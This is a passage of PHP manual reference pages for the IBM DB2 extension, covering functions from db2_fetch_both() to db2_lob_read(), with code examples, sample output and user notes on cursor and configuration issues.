If you call db2_fetch_both() without a specific row number, it automatically retrieves the next row in the result set. The following example accesses columns in the returned array by both column name and by numeric index.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt);

while ($row = db2_fetch_both($stmt)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row[0], $row['BREED'], $row[3]);
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

Example #2 Retrieving specific rows with db2_fetch_both() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_both() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_both($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row['NAME'], $row[2], $row['WEIGHT']);
    $i = $i + 2;
}
?>

The above example will output:

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

eacosta at openware dot biz 05-Jun-2008 08:55
Hello,

Some weeks ago I faced difficulties with walk a big number of
records from a result set.

I was using the function db2_fetch_both in a method of a database adapter
class to retrieve just one record at a time. The total number of records
were: 5647 and when I reach record number 1600 the function crashed
generating the below message in "Actual result" field.

I am copying table's description next:

TMP_TABLE
-----------------------------------------------------------------
| ID        | TYPE        | SIZE        | NULL        |
-----------------------------------------------------------------
| ID        | INTEGER    | 4        | NO        |
| SERVICE    | VARCHAR    | 30        | NO        |
| ID_v        | VARCHAR    | 30        | NO        |
| INFORMATION    | CLOB        | 65536        | YES        |
| EXP_LEVEL    | INTEGER    | 4        | NO        |
| IP4B        | BIGINT    | 8        | NO        |
| MODIFIED    | INTEGER    | 4        | YES        |
| DETAIL    | VARCHAR    | 200        | YES        |
| FALSPOS    | INTEGER    | 4        | YES        |
-----------------------------------------------------------------

When it crashed I received this message from db2_fetch_both

db2_fetch_array() [function.db2-fetch-array]: Fetch Failure

After reported this message to IBM OpenDev I was helped by a OpenDev IBMer who noticed me
that it wasn't a ibm_db2 module problem, in fact it was a database configuration
issue. The OpenDev IBMer looked into my DB2 Client CLI TRACE files and found out what was happen.
So I had to modify APP_CTL_HEAP_SZ and everything seems to works fine now.

--
Esteban Acosta Villafañe
Area I+D
http://www.openware.biz/opendev
Linkein Profile: http://www.linkedin.com/in/estebanav
db2_fetch_assoc
db2_fetch_object
IBM DB2 Functions


Returns an object with properties representing columns in the fetched row

db2_fetch_both
db2_fetch_row
IBM DB2 Functions
PHP Manual

db2_fetch_object

(PECL ibm_db2 >= 1.0.0)

db2_fetch_object — Returns an object with properties representing columns in the fetched row

Description

object db2_fetch_object ( resource $stmt [, int $row_number = -1 ] )

Returns an object in which each property represents a column returned in the row fetched from a result set.

Parameters

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

Return Values

Returns an object representing a single row in the result set. The properties of the object map to the names of the columns in the result set.

The IBM DB2, Cloudscape, and Apache Derby database servers typically fold column names to upper-case, so the object properties will reflect that case.

If your SELECT statement calls a scalar function to modify the value of a column, the database servers return the column number as the name of the column in the result set. If you prefer a more descriptive column name and object property, you can use the AS clause to assign a name to the column in the result set.

Returns FALSE if no row was retrieved.

Examples

Example #1 A db2_fetch_object() example

The following example issues a SELECT statement with a scalar function, RTRIM, that removes whitespace from the end of the column. Rather than creating an object with the properties "BREED" and "2", we use the AS clause in the SELECT statement to assign the name "name" to the modified column. The database server folds the column names to upper-case, resulting in an object with the properties "BREED" and "NAME".

<?php
$conn = db2_connect($database, $user, $password);

$sql = "SELECT breed, RTRIM(name) AS name
    FROM animals
    WHERE id = ?";

if ($conn) {
    $stmt = db2_prepare($conn, $sql);
    db2_execute($stmt, array(0));

    while ($pet = db2_fetch_object($stmt)) {
        echo "Come here, {$pet->NAME}, my little {$pet->BREED}!";
    }
    db2_close($conn);
}
?>

The above example will output:

Come here, Pook, my little cat!

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

There are no user contributed notes for this page.
db2_fetch_both
db2_fetch_row
IBM DB2 Functions


Sets the result set pointer to the next row or requested row

db2_fetch_object
db2_field_display_size
IBM DB2 Functions
PHP Manual

db2_fetch_row

(PECL ibm_db2 >= 1.0.0)

db2_fetch_row — Sets the result set pointer to the next row or requested row

Description

bool db2_fetch_row ( resource $stmt [, int $row_number ] )

Use db2_fetch_row() to iterate through a result set, or to point to a specific row in a result set if you requested a scrollable cursor.

To retrieve individual fields from the result set, call the db2_result() function.

Rather than calling db2_fetch_row() and db2_result(), most applications will call one of db2_fetch_assoc(), db2_fetch_both(), or db2_fetch_array() to advance the result set pointer and return a complete row as an array.

Parameters

stmt

A valid stmt resource.

row_number

With scrollable cursors, you can request a specific row number in the result set. Row numbering is 1-indexed.

Return Values

Returns TRUE if the requested row exists in the result set. Returns FALSE if the requested row does not exist in the result set.

Examples

Example #1 Iterating through a result set

The following example demonstrates how to iterate through a result set with db2_fetch_row() and retrieve columns from the result set with db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
    $name = db2_result($stmt, 0);
    $breed = db2_result($stmt, 1);
    print "$name $breed";
}
?>

The above example will output:

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

Example #2 i5/OS recommended alternatives to db2_fetch_row/db2_result

On i5/OS it is recommended that you use db2_fetch_both(), db2_fetch_array(), or db2_fetch_object() over db2_fetch_row()/db2_result(). In general db2_fetch_row()/db2_result() have more issues with various column types in EBCIDIC to ASCII translation, including possible truncation in DBCS applications. You may also find the performance of db2_fetch_both(), db2_fetch_array(), and db2_fetch_object() to be superior to db2_fetch_row()/db2_result().

<?php
  $conn = db2_connect("","","");
  $sql = 'SELECT SPECIFIC_SCHEMA, SPECIFIC_NAME, ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE, ROUTINE_CREATED, ROUTINE_BODY, IN_PARMS, OUT_PARMS, INOUT_PARMS, PARAMETER_STYLE, EXTERNAL_NAME, EXTERNAL_LANGUAGE FROM QSYS2.SYSROUTINES FETCH FIRST 2 ROWS ONLY';
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_both($stmt)){
    echo "<br>db2_fetch_both {$row['SPECIFIC_NAME']} {$row['ROUTINE_CREATED']} {$row[5]}";
  }
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_array($stmt)){
    echo "<br>db2_fetch_array {$row[1]}  {$row[5]}";
  }
  $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
  while ($row = db2_fetch_object($stmt)){
    echo "<br>db2_fetch_object {$row->SPECIFIC_NAME} {$row->ROUTINE_CREATED}";
  }
  db2_close($conn);
?>

The above example will output:

db2_fetch_both MATCH_ANIMAL 2006-08-25-17.10.23.775000 2006-08-25-17.10.23.775000
db2_fetch_both MULTIRESULTS 2006-10-17-10.11.05.308000 2006-10-17-10.11.05.308000
db2_fetch_array MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_array MULTIRESULTS 2006-10-17-10.11.05.308000
db2_fetch_object MATCH_ANIMAL 2006-08-25-17.10.23.775000
db2_fetch_object MULTIRESULTS 2006-10-17-10.11.05.308000

See Also

  • db2_fetch_array() - Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc() - Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both() - Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object() - Returns an object with properties representing columns in the fetched row
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

krisdover at hotmail dot com 21-Jan-2007 12:54
if the second parameter (the row number) is specified, your connection needs to have the CURSOR option set to DB2_SCROLLABLE. Otherwise all calls to this function will fail. Internal to the ibm_db2 extension module the db2cli api function SQLFetchScroll() generates the error "CLI0145E  Fetch type out of range" since it requires a scrollable resultset to work, instead of the default forward only resultset.

hope this saves someone the time it took me to track this down in the db2cli traces.

Regards,
Kris Dover
andrey at php dot net 26-Nov-2005 01:11
If the second parameter is 0 or NULL (which eventually evaluates to 0) then the internal pointer is moved forward. < 0 value will return an warning.
db2_fetch_object
db2_field_display_size
IBM DB2 Functions


Returns the maximum number of bytes required to display a column

db2_fetch_row
db2_field_name
IBM DB2 Functions
PHP Manual

db2_field_display_size

(PECL ibm_db2 >= 1.0.0)

db2_field_display_size — Returns the maximum number of bytes required to display a column

Description

int db2_field_display_size ( resource $stmt , mixed $column )

Returns the maximum number of bytes required to display a column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer value with the maximum number of bytes required to display the specified column. If the column does not exist in the result set, db2_field_display_size() returns FALSE.

See Also

  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_fetch_row
db2_field_name
IBM DB2 Functions


Returns the name of the column in the result set

db2_field_display_size
db2_field_num
IBM DB2 Functions
PHP Manual

db2_field_name

(PECL ibm_db2 >= 1.0.0)

db2_field_name — Returns the name of the column in the result set

Description

string db2_field_name ( resource $stmt , mixed $column )

Returns the name of the specified column in the result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns a string containing the name of the specified column. If the specified column does not exist in the result set, db2_field_name() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_field_display_size
db2_field_num
IBM DB2 Functions


Returns the position of the named column in a result set

db2_field_name
db2_field_precision
IBM DB2 Functions
PHP Manual

db2_field_num

(PECL ibm_db2 >= 1.0.0)

db2_field_num — Returns the position of the named column in a result set

Description

int db2_field_num ( resource $stmt , mixed $column )

Returns the position of the named column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer containing the 0-indexed position of the named column in the result set. If the specified column does not exist in the result set, db2_field_num() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_field_name
db2_field_precision
IBM DB2 Functions


Returns the precision of the indicated column in a result set

db2_field_num
db2_field_scale
IBM DB2 Functions
PHP Manual

db2_field_precision

(PECL ibm_db2 >= 1.0.0)

db2_field_precision — Returns the precision of the indicated column in a result set

Description

int db2_field_precision ( resource $stmt , mixed $column )

Returns the precision of the indicated column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer containing the precision of the specified column. If the specified column does not exist in the result set, db2_field_precision() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_field_num
db2_field_scale
IBM DB2 Functions


Returns the scale of the indicated column in a result set

db2_field_precision
db2_field_type
IBM DB2 Functions
PHP Manual

db2_field_scale

(PECL ibm_db2 >= 1.0.0)

db2_field_scale — Returns the scale of the indicated column in a result set

Description

int db2_field_scale ( resource $stmt , mixed $column )

Returns the scale of the indicated column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer containing the scale of the specified column. If the specified column does not exist in the result set, db2_field_scale() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_field_precision
db2_field_type
IBM DB2 Functions


Returns the data type of the indicated column in a result set

db2_field_scale
db2_field_width
IBM DB2 Functions
PHP Manual

db2_field_type

(PECL ibm_db2 >= 1.0.0)

db2_field_type — Returns the data type of the indicated column in a result set

Description

string db2_field_type ( resource $stmt , mixed $column )

Returns the data type of the indicated column in a result set.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns a string containing the defined data type of the specified column. If the specified column does not exist in the result set, db2_field_type() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_width() - Returns the width of the current value of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_field_scale
db2_field_width
IBM DB2 Functions


Returns the width of the current value of the indicated column in a result set

db2_field_type
db2_foreign_keys
IBM DB2 Functions
PHP Manual

db2_field_width

(PECL ibm_db2 >= 1.0.0)

db2_field_width — Returns the width of the current value of the indicated column in a result set

Description

int db2_field_width ( resource $stmt , mixed $column )

Returns the width of the current value of the indicated column in a result set. This is the maximum width of the column for a fixed-length data type, or the actual width of the column for a variable-length data type.

Parameters

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

Return Values

Returns an integer containing the width of the specified character or binary data type column in a result set. If the specified column does not exist in the result set, db2_field_width() returns FALSE.

See Also

  • db2_field_display_size() - Returns the maximum number of bytes required to display a column
  • db2_field_name() - Returns the name of the column in the result set
  • db2_field_num() - Returns the position of the named column in a result set
  • db2_field_precision() - Returns the precision of the indicated column in a result set
  • db2_field_scale() - Returns the scale of the indicated column in a result set
  • db2_field_type() - Returns the data type of the indicated column in a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_field_type
db2_foreign_keys
IBM DB2 Functions


Returns a result set listing the foreign keys for a table

db2_field_width
db2_free_result
IBM DB2 Functions
PHP Manual

db2_foreign_keys

(PECL ibm_db2 >= 1.0.0)

db2_foreign_keys — Returns a result set listing the foreign keys for a table

Description

resource db2_foreign_keys ( resource $connection , string $qualifier , string $schema , string $table-name )

Returns a result set listing the foreign keys for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. If schema is NULL, db2_foreign_keys() matches the schema for the current connection.

table-name

The name of the table.

Return Values

Returns a statement resource with a result set containing rows describing the foreign keys for the specified table. The result set is composed of the following columns:

Column name | Description
PKTABLE_CAT | Name of the catalog for the table containing the primary key. The value is NULL if this table does not have catalogs.
PKTABLE_SCHEM | Name of the schema for the table containing the primary key.
PKTABLE_NAME | Name of the table containing the primary key.
PKCOLUMN_NAME | Name of the column containing the primary key.
FKTABLE_CAT | Name of the catalog for the table containing the foreign key. The value is NULL if this table does not have catalogs.
FKTABLE_SCHEM | Name of the schema for the table containing the foreign key.
FKTABLE_NAME | Name of the table containing the foreign key.
FKCOLUMN_NAME | Name of the column containing the foreign key.
KEY_SEQ | 1-indexed position of the column in the key.
UPDATE_RULE | Integer value representing the action applied to the foreign key when the SQL operation is UPDATE.
DELETE_RULE | Integer value representing the action applied to the foreign key when the SQL operation is DELETE.
FK_NAME | The name of the foreign key.
PK_NAME | The name of the primary key.
DEFERRABILITY | An integer value representing whether the foreign key deferrability is SQL_INITIALLY_DEFERRED, SQL_INITIALLY_IMMEDIATE, or SQL_NOT_DEFERRABLE.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.
db2_field_width
db2_free_result
IBM DB2 Functions


Frees resources associated with a result set

db2_foreign_keys
db2_free_stmt
IBM DB2 Functions
PHP Manual

db2_free_result

(PECL ibm_db2 >= 1.0.0)

db2_free_result — Frees resources associated with a result set

Description

bool db2_free_result ( resource $stmt )

Frees the system and database resources that are associated with a result set. These resources are freed implicitly when a script finishes, but you can call db2_free_result() to explicitly free the result set resources before the end of the script.

Parameters

stmt

A valid statement resource.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • db2_free_stmt() - Frees resources associated with the indicated statement resource

User Contributed Notes

There are no user contributed notes for this page.
db2_foreign_keys
db2_free_stmt
IBM DB2 Functions


Frees resources associated with the indicated statement resource

db2_free_result
db2_get_option
IBM DB2 Functions
PHP Manual

db2_free_stmt

(PECL ibm_db2 >= 1.0.0)

db2_free_stmt — Frees resources associated with the indicated statement resource

Description

bool db2_free_stmt ( resource $stmt )

Frees the system and database resources that are associated with a statement resource. These resources are freed implicitly when a script finishes, but you can call db2_free_stmt() to explicitly free the statement resources before the end of the script.

Parameters

stmt

A valid statement resource.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • db2_free_result() - Frees resources associated with a result set

User Contributed Notes

There are no user contributed notes for this page.
db2_free_result
db2_get_option
IBM DB2 Functions


Retrieves an option value for a statement resource or a connection resource

db2_free_stmt
db2_last_insert_id
IBM DB2 Functions
PHP Manual

db2_get_option

(PECL ibm_db2 >= 1.6.0)

db2_get_option — Retrieves an option value for a statement resource or a connection resource

Description

string db2_get_option ( resource $resource , string $option )

Retrieves the value of a specified option value for a statement resource or a connection resource.

Parameters

resource

A valid statement resource as returned from db2_prepare() or a valid connection resource as returned from db2_connect() or db2_pconnect().

option

A valid statement or connection options. The following new options are available as of ibm_db2 version 1.6.0. They provide useful tracking information that can be set during execution with db2_get_option().

Note:

Prior versions of ibm_db2 do not support these new options.

When the value in each option is being set, some servers might not handle the entire length provided and might truncate the value.

To ensure that the data specified in each option is converted correctly when transmitted to a host system, use only the characters A through Z, 0 through 9, and the underscore (_) or period (.).

userid

SQL_ATTR_INFO_USERID - A pointer to a null-terminated character string used to identify the client user ID sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 16 characters. This user-id is not to be confused with the authentication user-id, it is for identification purposes only and is not used for any authorization.

acctstr

SQL_ATTR_INFO_ACCTSTR - A pointer to a null-terminated character string used to identify the client accounting string sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 200 characters.

applname

SQL_ATTR_INFO_APPLNAME - A pointer to a null-terminated character string used to identify the client application name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 32 characters.

wrkstnname

SQL_ATTR_INFO_WRKSTNNAME - A pointer to a null-terminated character string used to identify the client workstation name sent to the host database server when using DB2 Connect.

Note:

DB2 for z/OS and OS/390 servers support up to a length of 18 characters.

The following table specifies which options are compatible with the available resource types:

Resource-Parameter Matrix
Key | Value | Resource Type
 |  | Connection | Statement | Result Set
userid | SQL_ATTR_INFO_USERID | X | X | -
acctstr | SQL_ATTR_INFO_ACCTSTR | X | X | -
applname | SQL_ATTR_INFO_APPLNAME | X | X | -
wrkstnname | SQL_ATTR_INFO_WRKSTNNAME | X | X | -

Return Values

Returns the current setting of the connection attribute provided on success or FALSE on failure.

Examples

Example #1 Setting and retrieving parameters through a connection resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$user     = 'db2inst1';
$password = 'ibmdb2';

/* Obtain Connection Resource */
$conn = db2_connect($database, $user, $password);

echo "Client attributes passed through connection string:\n";

/* Create the associative options array with valid key-value pairs */
/* Assign the attributes through connection string */
/* Access the options specified */
$options1 = array('userid' => 'db2inst1');
$conn1 = db2_connect($database, $user, $password, $options1);
$val = db2_get_option($conn1, 'userid');
echo $val . "\n";

$options2 = array('acctstr' => 'account');
$conn2 = db2_connect($database, $user, $password, $options2);
$val = db2_get_option($conn2, 'acctstr');
echo $val . "\n";

$options3 = array('applname' => 'myapp');
$conn3 = db2_connect($database, $user, $password, $options3);
$val = db2_get_option($conn3, 'applname');
echo $val . "\n";

$options4 = array('wrkstnname' => 'workstation');
$conn4 = db2_connect($database, $user, $password, $options4);
$val = db2_get_option($conn4, 'wrkstnname');
echo $val . "\n";

echo "Client attributes passed post-connection:\n";

/* Create the associative options array with valid key-value pairs */
/* Assign the attributes after a connection is made */
/* Access the options specified */
$options5 = array('userid' => 'db2inst1');
$conn5 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn5, $options5, 1);
$val = db2_get_option($conn5, 'userid');
echo $val . "\n";

$options6 = array('acctstr' => 'account');
$conn6 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn6, $options6, 1);
$val = db2_get_option($conn6, 'acctstr');
echo $val . "\n";

$options7 = array('applname' => 'myapp');
$conn7 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn7, $options7, 1);
$val = db2_get_option($conn7, 'applname');
echo $val . "\n";

$options8 = array('wrkstnname' => 'workstation');
$conn8 = db2_connect($database, $user, $password);
$rc = db2_set_option($conn8, $options8, 1);
$val = db2_get_option($conn8, 'wrkstnname');
echo $val . "\n";
?>

The above example will output:

Client attributes passed through connection string:
db2inst1
account
myapp
workstation
Client attributes passed post-connection:
db2inst1
account
myapp
workstation

See Also

  • db2_connect() - Returns a connection to a database
  • db2_cursor_type() - Returns the cursor type used by a statement resource
  • db2_exec() - Executes an SQL statement directly
  • db2_set_option() - Set options for connection or statement resources
  • db2_pconnect() - Returns a persistent connection to a database
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

There are no user contributed notes for this page.
db2_free_stmt
db2_last_insert_id
IBM DB2 Functions


Returns the auto generated ID of the last insert query that successfully executed on this connection

db2_get_option
db2_lob_read
IBM DB2 Functions
PHP Manual

db2_last_insert_id

(PECL ibm_db2 >= 1.7.1)

db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection

Description

string db2_last_insert_id ( resource $resource )

Returns the auto generated ID of the last insert query that successfully executed on this connection.

The result of this function is not affected by any of the following:

  • A single row INSERT statement with a VALUES clause for a table without an identity column.

  • A multiple row INSERT statement with a VALUES clause.

  • An INSERT statement with a fullselect.

  • A ROLLBACK TO SAVEPOINT statement.

Parameters

resource

A valid connection resource as returned from db2_connect() or db2_pconnect(). The value of this parameter cannot be a statement resource or result set resource.

Return Values

Returns the auto generated ID of last insert query that successfully executed on this connection.

Examples

Example #1 A db2_last_insert_id() example

The following example shows how to return the auto generated ID of last insert query that successfully executed on this connection.

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
    $createTable = "CREATE TABLE lastInsertID
      (id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
    $insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";

    $stmt = @db2_exec($conn, $createTable);

    /* Checking for single row inserted. */
    $stmt = db2_exec($conn, $insertTable);
    $ret =  db2_last_insert_id($conn);
    if($ret) {
        echo "Last Insert ID is : " . $ret . "\n";
    } else {
        echo "No Last insert ID.\n";
    }

    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

The above example will output:

Last Insert ID is : 1

User Contributed Notes

Mark Adkins 10-Jun-2010 09:28
On the iSeries and maybe other db2 platforms, this function is not defined--PHP Fatal error:  Call to undefined function  db2_last_insert_id().

The alternative is to use IDENTITY_VAL_LOCAL().

The above example becomes:

<?php

$database = "SAMPLE";
$user = "db2inst1";
$password = "ibmdb2";

$conn = db2_connect($database, $user, $password);
if($conn) {
    $createTable = "CREATE TABLE lastInsertID
      (id integer GENERATED BY DEFAULT AS IDENTITY, name varchar(20))";
    $insertTable = "INSERT INTO lastInsertID (name) VALUES ('Temp Name')";
    $getIdentity = "SELECT IDENTITY_VAL_LOCAL() AS LASTID FROM SYSIBM.SYSDUMMY1";

    $stmt = @db2_exec($conn, $createTable);

    /* Checking for single row inserted. */
    $stmt = db2_exec($conn, $insertTable);

    $stmt = db2_exec($conn, $getIdentity);
    $row = db2_fetch_assoc($stmt);
    $ret = $row['LASTID'];

    if($ret) {
        echo "Last Insert ID is : " . $ret . "\n";
    } else {
        echo "No Last insert ID.\n";
    }

    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>
db2_get_option
db2_lob_read
IBM DB2 Functions


Gets a user defined size of LOB files with each invocation

db2_last_insert_id
db2_next_result
IBM DB2 Functions
PHP Manual

db2_lob_read

(PECL ibm_db2 >= 1.6.0)

db2_lob_read — Gets a user defined size of LOB files with each invocation

Description

string db2_lob_read ( resource $stmt , int $colnum , int $length )

Use db2_lob_read() to iterate through a specified column of a result set and retrieve a user defined size of LOB data.

Parameters

stmt

A valid stmt resource containing LOB data.

colnum

A valid column number in the result set of the stmt resource.

length

The size of the LOB data to be retrieved from the stmt resource.

Return Values

Returns the amount of data the user specifies. Returns FALSE if the data cannot be retrieved.

Examples

Example #1 Iterating through different types of data

<?php

/* Database Connection Parameters */
$db = 'SAMPLE';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Obtain Connection Resource */
$conn = db2_connect($db,$username,$password);

if ($conn) {
    $drop = 'DROP TABLE clob_stream';
    $result = @db2_exec( $conn, $drop );

    $create = 'CREATE TABLE clob_stream (id INTEGER, my_clob CLOB)';
    $result = db2_exec( $conn, $create );

    $variable = "";
    $stmt = db2_prepare($conn, "INSERT INTO clob_stream (id,my_clob) VALUES (1, ?)");
    $variable = "THIS IS A CLOB TEST. THIS IS A CLOB TEST.";
    db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
    db2_execute($stmt);

    $sql = "SELECT id,my_clob FROM clob_stream";
    $result = db2_prepare($conn, $sql);
    db2_execute($result);
    db2_fetch_row($result);
    $i = 0;
    /* Read LOB data */
    while ($data = db2_lob_read($result, 2, 6)) {
        echo "Loop $i: $data\n";
        $i = $i + 1;
    }

    $drop = 'DROP TABLE blob_stream';
    $result = @db2_exec( $conn, $drop );

    $create = 'CREATE TABLE blob_stream (id INTEGER, my_blob CLOB)';
    $result = db2_exec( $conn, $create );

    $variable = "";
    $stmt = db2_prepare($conn, "INSERT INTO blob_stream (id,my_blob) VALUES (1, ?)");
    $variable = "THIS IS A BLOB TEST. THIS IS A BLOB TEST.";
    db2_bind_param($stmt, 1, "variable", DB2_PARAM_IN);
    db2_execute($stmt);

    $sql = "SELECT id,my_blob FROM blob_stream";
    $result = db2_prepare($conn, $sql);
    db2_execute($result);
    db2_fetch_row($result);
    $i = 0;
    /* Read LOB data */
    while ($data = db2_lob_read($result, 2, 6)) {
        echo "Loop $i: $data\n";
        $i = $i + 1;
    }
} else {
    echo 'no connection: ' . db2_conn_errormsg();
}

?>

The above example will output:

Loop 0: THIS I
Loop 1: S A CL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  CLOB
Loop 6: TEST.
Loop 0: THIS I
Loop 1: S A BL
Loop 2: OB TES
Loop 3: T. THI
Loop 4: S IS A
Loop 5:  BLOB
Loop 6: TEST.

See Also

  • db2_bind_param() - Binds a PHP variable to an SQL statement parameter
  • db2_exec() - Executes an SQL statement directly
  • db2_execute() - Executes a prepared SQL statement
  • db2_fetch_row() - Sets the result set pointer to the next row or requested row
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_result() - Returns a single column from a row in the result set

User Contributed Notes

